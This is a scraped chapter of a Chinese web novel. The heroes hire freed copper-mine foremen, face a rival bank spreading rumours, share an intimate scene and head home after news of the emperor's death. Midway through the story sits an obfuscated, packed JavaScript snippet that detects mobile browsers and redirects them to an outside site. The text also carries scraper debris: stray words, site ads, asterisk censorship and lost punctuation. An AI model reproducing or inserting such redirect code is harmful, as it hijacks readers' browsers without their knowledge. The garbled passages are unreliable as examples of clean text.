第 107 章 回遥山县
作品:《寡夫郎他男人找来了》 第107章回遥山县
【给孩子们置办礼物】
石善文刚被抓去不到一个时辰,又被放了回来。
因祸得福,原本打算余生偷偷摸摸活着,这下可以光明正大进出家门了。
周围邻里炸开了锅。死去的石善文怎么活了过来?是大白天见鬼?还没从晃眼中回神,又见人被官兵抓走了。
可戚戚然的话头还没掰开,石善文又回来了。
就像是夏天的阵雨,电闪雷鸣乌云密布,结果风一吹就出了个大晴天。
石善文是认识贵人啊。
家家户户的妇人都跑来求石善文,请他再去给贵人求情,放过自家男人。
还有好几个是石善文过命兄弟的内眷,苦苦祈求着石善文。
这一天杀一个山匪头目示众闹得人心惶惶,城内愁云惨淡。
关于这件事,百姓众说纷纭。
家里有矿工被抓蹲大牢的,每日愁眉苦脸到处说自家男人冤枉。以前都是官府逼迫,不然哪能落草为寇。
家里没矿工的,便拍手称快,恨死半年来山匪烧杀**无恶不作。
就算是被官府逼迫上梁山,那也不能反过来欺负百姓啊。日子都不好过,数千男丁躲在山上啃草皮吗?
肯定没少抢百姓口粮活命。
躲命就躲命,还趁机抢活命口粮,这就是山匪。
可千万别放出来,好好关一把洗刷下山匪戾气。
那几个京商也摸不准其中局势,到底要杀多少山匪?以儆效尤震慑那些“有前科”的矿工?言珊厅
如果矿工杀完了,那他们找谁来开矿?
几个京商**在一起琢磨,最后利用二皇子手谕,和闻登州防务军将领疏通了关系。
那将领名叫叶大礼,是新换上来的;但也深谙官商之道,只是忌讳顾凛柏还镇守在闻登州。
不过,他是本地人,比那些朝廷空降轮防的将领多些人情味。这次闻登州彻底剿匪后,闻登州势必要裁撤一些兵员。朝廷不养闲兵,怎么妥善安置将士是一件头疼的大事。
这几个京商找他来疏通关系,要世子爷放了矿工,这他可没权限。
但他脑子也聪明,就给几个京商说,矿工没有没关系,他这有身经百炼的将士,保管比矿工还管用。
那三个京商一合计,想也是这么个理,便不再执着于那批矿工,转而收了退伍将士。
但矿工是有了,骨干工匠还没影子,一个个都被关押在牢房里。
镶长辨察矿脉是开矿成败最重要的关键。炉长负责冶炼火候,炉膛火色和炉烟变化都至关重要影响炼铜效果。
铜长负责矿内的开采和采矿安全,没有十足的经验,极可能导致塌矿埋人。炭长需要原料供应,要是铜矿开起来,每天需要烧炭近千斤。
京商等了没几天后,终于等到牢房放人了。
可挨家挨户去拜访的时候,一个个都碰了一鼻子灰,家家走空。
“七长治厂
一个个提着礼信相约上门拜访,感谢宴绯雪把他们捞出来。
宴绯雪自知手段不光彩,却也并不自我非议,只是在待人接物上更加礼遇几人。
石善文当初只抱着一丝希望求宴绯雪的;毕竟放他一个,可能已经消耗了宴绯雪在世子那里的人情。
此时再去求宴绯雪放所有矿工,这简直异想天开。
但他们开矿钻山洞的兄弟都是生死过命情谊,断然做不到眼睁睁看着他们被**。
他厚着脸皮抱着死马当活马医的微弱希冀找到宴绯雪,哪知道宴绯雪只是迟疑了下,而后说自己五天后给结果。
焦躁的五天格外漫长,家家户户都祈求这个好消息。
不过他们没有煎熬五天,在第二天就放出来了。
一放出来,石善文就带着六个厂长来找宴绯雪道谢了。
几人刚从牢狱出来,看到官兵就怕。
更别说主动来世子府邸,和那些一个个穿戴盔甲的侍卫说拜访宴绯雪两人了。
就在几人踌躇不前的时候,宴绯雪早就安排好小六在门口候着了。
几人顺利进了世子府邸,到了宴绯雪的院子。
石善文在大厅看到宴绯雪的时候,忍不住下跪给他磕头;宴绯雪受之有愧,嘴巴却说给晚辈下跪,是要折晚辈福气。
这番话,亲近又温和,无疑打消了石善文一行人的拘谨。
他们落座后,丫鬟们端着各种糕点坚果鱼贯而入,茶水还是准备顶好的千山顶。
入口香浓,微微带着点苦涩,余味敦厚绵长,正适合他们这种熬夜提神的矿头。
他们这些厂长,也只是凭手艺吃饭的小富之家,哪能喝到七十两一斤的茶叶。
顿时又受宠若惊,对宴绯雪印象越发好起来了。
至于白微澜,宴绯雪
把他打发走了。要是白微澜在这里他怕气氛话头热起不来。
宴绯雪和几人聊天拉家常先从家长里短切入而后聊城内大环境最后又扯到了铜矿上。
闻登州局势不景气百姓都窝着一肚子火更别说这几个重点通缉的矿头了。
话头越聊越热最后即使说到铜矿宴绯雪也照样能接住话头。
宴绯雪道“我翻阅古籍发现有的朝代铜钱里铜少铅多每千钱用铜三斤十四两铅一斤八两锡八两……**”
石善文惊讶宴绯雪知道如此细致便开口解释是因为冶炼方法不同。
他尽量说的通俗易懂但宴绯雪每个话头都能接住还聊起了采铜相关的话头。
什么火烧水泼法、凿眼射水法、打眼爆破法等等都有涉猎。
宴绯雪看书看得一知半解但石善文一说他立马就能反应过来说的是什么。
聊下来一通也知道各种方法优劣在哪儿遇到成色不同的铜矿如何选择。
这些矿头一聊到自己吃饭的手艺一个个侃侃而谈但最后纷纷佩服起宴绯雪的博学。
宴绯雪说自己半桶水瞎晃只是趁此机会向各位前辈学习取经。
还说听闻石善文辨察矿脉的本事一绝像是中医望闻问切一般仅仅凭借矿石燃烧气味就能辨察。
石善文世代手艺传家加之本人确实天赋了得七厂长都以他为尊。
他摆手笑道“只不过是熟能生巧拿勘测山矿来说先审别山势最好是重峦叠嶂、重关紧锁……还得辅以阴阳五行铜矿埋在地下贵阴忌阳贵藏忌露……然后寻找苗引也就是伴生的花草树木花瓣颜色往往是蓝色或者紫红色……找到矿石后观察煅烧出的颜色一般认为红火为铜光。”
宴绯雪认真听着而一脸崇敬道“听石前辈一席话胜读十年书。”
石善文谦虚道
宴绯雪道“这听着轻松易懂可要是没有天赋和经年累月的经验即使听懂了那也是按图索骥竹篮打水一场空。”
“不然城内近万人工匠中为何就几位名气最响亮呢。”
宴绯雪这话说的石善文几人脸色十分舒心脸露慈祥的笑意。
他们一个个年近半百手底下徒子徒孙无数教了几年都没和宴绯雪聊的畅快合拍。
还有一些自大自满倨傲天赋的年轻人
,一听他说的这些诀窍很是简单,没有最初想的那么复杂,还嗤之以鼻说镶长也不是那么难。
一百两一年的工钱,换做他也能拿。
毫无遮掩坦露教学,结果旁人却说听着很简单,要学几十年?讽刺他不堪大用。
就算没那徒弟那么白眼狼行径,换做一个平常人怕也觉得听起来很容易,觉得人人都能做。
但宴绯雪的反应,给足了他们应有的尊重和对这个行当的敬重和敬畏。
百工者贱,他们这些工匠手艺人无疑遇见最好的伯乐,得到最高的嘉奖。
不过石善文高兴一会儿后,脸上笑意便逐渐消失了。
现在朝廷是真的严禁铜矿,他不仅一身本事无处施展,更重要的是如何养家糊口。
不仅他有这个烦忧,数千近万的矿工也是如此忧虑。
总不能再次落草为寇,放出来前就被牢头敲打震慑一番,也都没了干山匪的心思。
田产荒废,开荒是要开荒,只是前三年没有收成。
开荒不仅仅是根除树根杂草,还要把草籽肥田,大块大块的犁翻埋在地里沤肥,这样搞个三年,情况好的话,第四年才开始有收成。
宴绯雪自然知道几人脸色忧虑的什么,于是他顺着话头提起了重开铜矿的打算。
众人先是心头一震,面色一喜,但随即紧张灰败了下来。
刚刚经过九死一生的逃命,可不敢冒杀头之罪再干了。
宴绯雪笑道,当然是等朝廷开禁铜矿,到时候再请诸位携手共创盛举。
几人将信将疑,但想着他和世子关系匪浅,便也对他话信了七成。
最后,宴绯雪趁热打铁,签订了契书。给石善文开出了一千两的年俸,其他几个矿头都是七百两。
这简直震惊这些老矿头。
他们每年挖矿产出,价值数十万贯的铜钱。但是石善文只年俸一百两。其他几人都是大几十两。
石善文几人面面相觑只以为自己听岔了,但宴绯雪给出的白纸黑字写的清清楚楚明明白白。
几人当即表示鞠躬尽瘁定要冶炼出铜来,报答宴绯雪的知遇之恩。
几人聊的越发热络,甚至恨不得立即撸起袖子大干一场。
七个厂长都经验丰富,班底矿人都一呼百应,别说宴绯雪还对他们有恩。
他们当即商定在哪里选址,设立矿洞;既要保证距离锡矿锌矿不远的位置,又要考虑山林烧出的炭火品
质,最后运输脚费成本等等,每条逐一敲定。
宴绯雪见他们热情高涨,最后催了他们三次开席吃饭,他们才从激烈的争论声中回神。
这一帮七个异性兄弟各个脾性不一样,虽然都以石善文为老大,但涉及自己复杂部分活计的时候,难免争得面红耳赤。
一时间都忘记这是在宴绯雪家里做客,还以为是在矿山里。顿时纷纷觉得不好意思。
宴绯雪笑道,争论就是反复辩证推敲,这样出纰漏的细节就会大大减少。
石善文没忍住笑道,“东家少年英才,处事周到妥帖,旁人怕是一辈子都学不会的。
宴绯雪道,“这没有什么学不学的会,不过是看到你们几位前辈由心而发,三百六行行出状元,前辈们就是其中翘楚令晚辈佩服。
“哈哈哈哈……
几个中年男人爽朗大笑,半年多来的积郁一扫而空,对宴绯雪不仅仅是东家的尊敬,还有对晚辈的一种惜才和赞赏。
白微澜还没走近院子,就听见屋里满堂大笑。
又骄傲又酸涩。
聊差不多就得了,有钱能使鬼推磨,哪有事情拿不下的。
正当白微澜准备进院子的时候,一旁小四拦住了他。
“白公子,夫人说今天您禁止入内。
白微澜以为听岔了,一脸不可置信道,“你再说一次?
小四抬头挺胸振声道,“夫人说不得他允许,您不得进入!
白微澜哼了声,脸色臭的不行。
小四看他那样子,越发觉得宴绯雪英名;不说谈事了,就看到他那脸拽的王八上天似的,谁看了都拘束犯怵。
“不让进就不让进。白微澜说完,泄气似的一屁股坐在门口石墩上。
等傍晚几人吃完饭后,石善文几人出来,见门口蹲着一个年轻人。
一脸不悦气势阴沉的盯着他们。
石善文没认出来,忘记这就是那天街上宴绯雪身边的男人;还以为是宴绯雪为了招待他,把人家晾一边了。
几人心里越发感激,对宴绯雪连连道不用送。
等送走石善文几人后,宴绯雪回到院子,就见白微澜满腹委屈的盯着他。
宴绯雪笑着轻拍他脑袋,“进去吧。
白微澜立即喜笑颜开,搂着宴绯雪说媳妇儿好厉害,一下子就搞定了这些人。
一旁小四见白微澜这狗样子,也见惯不惯了。
摇摇头,招呼正在
啃骨头的小黄耍了起来。
他俩也算是同生共死的兄弟了。
白微澜在世子那里吃过晚饭听完宴绯雪说商谈的情况后沉吟了会儿。
“不知道朝廷开解禁令的通知要多久才能下来。”
“我要不先回遥山县把孩子们接过来?”
“刚好年底钱庄也要开业了。”
白微澜刚说完门外响起了敲门声。
开门一看小六手里拿了一封信。
白微澜以为是孩子们写来的扬着给宴绯雪道“看看准是小栗儿又问爹爹什么时候回去过年了。”
“**只问爹爹我这个父亲倒是一点都不见问。”
“怎么没问了?你是说没单独给你写信都写的爹爹亲启吧。”
白微澜哼哼一声扫了眼信封却发现信封上写的是宴东家亲启。白微澜撕开封头的手指一顿把信递给了宴绯雪。
宴绯雪也看到了这几个字“你撕开就得了。可能是钱庄的事情。”
白微澜打开一看果然是周焕的来信。
两人越看面色越不愉。
信中周焕说从州里来了一家大钱庄要在遥山县抢在他们前头开钱庄分号。
闻登州解禁外加外界纷纷揣测要重开铜矿届时涌入闻登州一方的商贩络绎不绝。官方铜矿一开闻登州四周的交通运输将大幅度改善。
而遥山县历史上因为闻登州兴盛过此时随着闻登州解禁靠着必经的官道航运遥山县也随之兴起。
届时天南地北的商贩经过遥山县去往闻登州
加之来凤州本来就是货运转中心把联号大钱庄开到遥山县统一市面兑换制银抓住机遇扩大版图。
各地商人拿的银锭子不同有五十两的、十两的、五两的、还有碎银子更别说现在就铜钱还分青钱和黄钱。
百姓小本生意还可以用戥子戳碎银找零但这样也太不方便了。而且银子成色不同折价也不同一般百姓也不能辨认。
现在来凤州的大钱庄做的就是把市面上的旧银子制成统一标准、成色的银子然后商人们拿去兑换流通。
来凤州的大钱庄在遥山县开分号虽然客观上对白微澜的信裕钱庄有影响但各行其道各凭本事。
两人面色不悦的点就在对方行事太嚣张了。
在遥山县内散播信裕没钱开不起来是个空
壳子的言论,企图撼动百姓口碑。
无奸不商,这点不置可否。
但对方做的太过了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658215|172670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
之前造谣白微澜和时莺的源头被查到了,就是那大钱庄的掌柜散播的。
这无疑触碰到了白微澜两人的底线。
原本钱庄与钱庄大多同舟共济,同行间相互竞争同时又相互护持拆借银两。
如果是这样恶心的同行,那白微澜肯定不会让他在遥山县立脚。
不过结合现下局势,两夫夫必定又要分隔一方了。
宴绯雪见白微澜眉头拧巴,一言不发的垂眸思索。他道,“我回去吧,这边铜矿还没上正轨,离不开人盯着局势。
白微澜不想点头。经过闻登州的事情后,他们早已决定,两人无论去哪里都要一起。
可现实没有两全法。
他想权想钱,但前提不是用和宴绯雪分开来换取。
难道就真应了那句商人重利轻离别吗?
宴绯雪见白微澜还不愿意点头,轻抚他后背道,“铜矿这边,只要动工后看石善文几人忠心与否,后面基本不用我们自己操心。
“不过,这七个人,我看是能信得过的。但不能仅仅凭借一面判断,有时候当面聊的欢快,背后墙头草也摇的欢快。
白微澜眉头一松,听笑了。想着几个中年男人脑袋上顶颗草,摇来摇去,也怪滑稽的。
他深深叹口气,背靠在椅子上,仰头望着宴绯雪,“哎,感觉自己还是好无能,说好了再也不分开,但面临现实时又别无选择。
宴绯雪见他一脸烦闷,隐约有些暴躁。他俯身亲亲他脸颊,一脸笑意道,“不,这正说明你越来越厉害了,现在处于紧要关头上升期,是为了今后更好的日子。
白微澜伸手揽住宴绯雪,把他放在腿上抱着,无可奈何道,“饭吃第二次就馊了,话说第二遍就没用了。
他一手揽腰,一手捧着宴绯雪的侧脸,心疼道,“晏晏其实也是不舍的对不对,你心里也不愿意分开,还要劝解我。
“你怎么这么好。
嘴里的话含着浓情,显得嘟囔不清又情不自禁被宴绯雪吸引。
白微澜说着,手扶上宴绯雪的后颈细细的摩挲,而后缓缓压向自己,四片唇瓣慢慢的贴在了一起。
鼻尖碰着鼻尖,呼吸逐渐炙热。
没一会儿,宴绯雪双手攀上了白微澜的脖子。他仰着头睫毛不停的颤抖着,像是
忍耐不住想要振翅欲飞的蝴蝶。
可是翅尾沾染了亮晶晶的水渍,湿了羽衣,只能无力的细颤着,等着狂风骤雨的来临。
最后白微澜抱着宴绯雪,放下层层叠叠的藕粉床帏,深绿的锦被像是荷叶托着纯净的莹白之躯。
视线顷刻晦暗晃动起来。
宴绯雪白腻的侧颈上汗珠滚落,在逐渐粗-重的呼吸声中,像是被猛兽盯上的艳丽荷花,只轻轻闻嗅便花瓣颤颤。
他没忍住扭头望着虚空,他的手就被白微澜握住了,在耳边夸他真的好美。
……
良久,白微澜撩开一丝厚重的床帏。傍晚朦胧暗黄的光线探了进来,落在青丝如瀑半遮半掩的肩头,那张脸上透着糜艳慵懒的失神。
白微澜低头亲了亲宴绯雪,准备起身叫水。
宴绯雪眼珠子动了动,嚅声沙哑道,“再抱我一会儿。”
白微澜神色欣喜,这还是头一次没催他要水,而是要抱抱。
两人窝在被子里相拥着,身体相互滋养着暖意,在小小一片床帏里,享受无尽的温存与餍足。
不知道过了多久,门口又响起敲门声。
白微澜没动,宴绯雪看他一眼。
白微澜见装死不行,啄了啄宴绯雪嘴角、鼻尖、眉心,最后轻轻吻了下他月牙弧度的眼皮,低声道,“我去开门。”
他穿好衣服,出了内房,还下意识看了眼床帏和屏风。来到外厅时,又听到了急切的敲门声。
白微澜皱起眉头凶道,“不是人命关天的事情,我要你好看。”
然而他嗓音滞哑,带着几分事后的慵懒,听着让人遐想十足。
白微澜拳头抵着嗓子轻声咳嗽了下,开门就见小六急吼吼的抬手又准备敲门。
小六没注意白微澜的神色,一股脑儿道,“真是人命关天!”
“怎么了?”
“先皇驾崩了。”
“哦。”
小六冷静下来,盯着白微澜瞧,“这么淡定?”
回答他的,是啪的一声。
门合上的冷风扇的他脸刺痛。
白微澜急步返回内房,而宴绯雪已经下床穿好了衣服。
他一脸错过遗憾的望着宴绯雪,只听宴绯雪不确定道,“刚刚什么人命关天?”
白微澜随口道,“皇帝**。”
宴绯雪扣领口的动作一顿,“皇帝?”
“嗯。”
小说</a>更新,记住域名caixs?(请来才
小说
看最新章节
完整章节)
白微澜说完,而后似想到什么,面色顿时云开雾
散一把抱着宴绯雪又躺在了床上。
宴绯雪被压陷在锦被里摸不着头脑只见白微澜脸色兴奋的厉害。
“我们不用分开了先皇驾崩按照礼制百姓素服三月百官设香案灵堂哭丧吊唁一个月。还有就是三月内不能大兴土木。”
白微澜语气很激动话密集又快宴绯雪听的晕晕乎乎
“是。”
“我们可以安心回遥山县处理钱庄的事情了。”
两人洗漱一番当即找顾凛柏辞行即使天黑赶路也无妨。
从闻登州直接走水路顺流而下只三天就能到达遥山县了。
走陆路要六天时间两人归心似箭想见到孩子们都默契的选了水路。
白微澜怕宴绯雪晕船准备好些中药土方子什么揉手腕上的内关穴。把买了陈皮香薰、鲜橘子、话梅、老姜片等等。
平时在街上看到什么好看的好吃的都买了一份给孩子们留着此时打包也方便。
到船上的时候寒星闪烁河面清辉冷月河风吹着有些刺骨的凉意。
狐狸**大氅吹的宴绯雪脖子发痒白微澜扶着他摇摇晃晃进了内舱。
船舱很讲究船首建有勾连搭棚顶的门廊和大厅;从船头甲板朱漆红栏到尾翘部分中间一共有四个小隔间。
分别是船夫仓棚、盥洗室、用餐厅、卧房。
内部装饰华丽细致干净又敞亮推开窗户便能看到清凌凌的水面荡着月色。
不枉费白微澜花了五十两雇这豪华私船。
宴绯雪说现在用钱紧张还是省着点花但白微澜坚决不肯
。
宴绯雪来的时候坐货船脏兮兮腥臭味儿重还是和一群臭男人挤在船上这休息不好怎么能不晕船。
宴绯雪跟着他断然没有再受罪的道理。
卧舱里点上宁神檀香墙壁内部用防风的绢布裹着棉絮覆盖小小的舱内倒是不觉得冷。颜陕厅
两人坐在桌子上白微澜正准备倒热茶水的时候宴绯雪咻的抬头道“我们是不是忘了什么东西?”
白微澜一头雾水把热茶水递给宴绯雪暖手“没有吧给娟娘、大伯母家准备的东西都带上了还写信给石善文交代了我们年后再来孩子们的小玩意儿也都在那个小箱子里。”
宴绯雪点头但直觉忘记了什么。